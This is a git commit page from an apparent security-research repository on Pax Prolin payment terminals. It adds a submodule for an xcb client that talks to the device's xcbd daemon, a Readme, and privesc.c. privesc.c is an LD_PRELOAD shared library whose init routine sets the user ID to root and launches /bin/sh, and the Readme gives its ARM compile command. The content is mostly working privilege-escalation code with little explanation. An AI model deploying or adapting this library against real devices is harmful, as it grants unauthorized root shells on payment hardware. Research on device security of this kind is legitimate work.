Added privesc code and xcb-client
This commit is contained in:
parent
4ae897ecec
commit
499c1e91e8
3
.gitmodules
vendored
Normal file
3
.gitmodules
vendored
Normal file
@ -0,0 +1,3 @@
|
||||
[submodule "code/prolin-xcb-client"]
|
||||
path = code/prolin-xcb-client
|
||||
url = https://git.lsd.cat/g/prolin-xcb-client
|
12
code/Readme.md
Normal file
12
code/Readme.md
Normal file
@ -0,0 +1,12 @@
|
||||
## prolin-xcb-tools
|
||||
Python-ADB fork in order to communicate with the Pax `xcbd` daemon. Supports natively directory listing, reading and writing. Port forwarding may be done trough the original `xcb` client.
|
||||
|
||||
## privesc.c
|
||||
The shared library used for privilege escalation.
|
||||
|
||||
Compile with:
|
||||
|
||||
```
|
||||
arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static
|
||||
```
|
||||
|
14
code/privesc.c
Normal file
14
code/privesc.c
Normal file
@ -0,0 +1,14 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
puts("LD_PRELOAD is working!");
|
||||
setreuid(0, 0);
|
||||
setuid(0);
|
||||
printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
1
code/prolin-xcb-client
Submodule
1
code/prolin-xcb-client
Submodule
@ -0,0 +1 @@
|
||||
Subproject commit 8d00509ab221200388da9be68f406c7982f9cf60
|
Loading…
Reference in New Issue
Block a user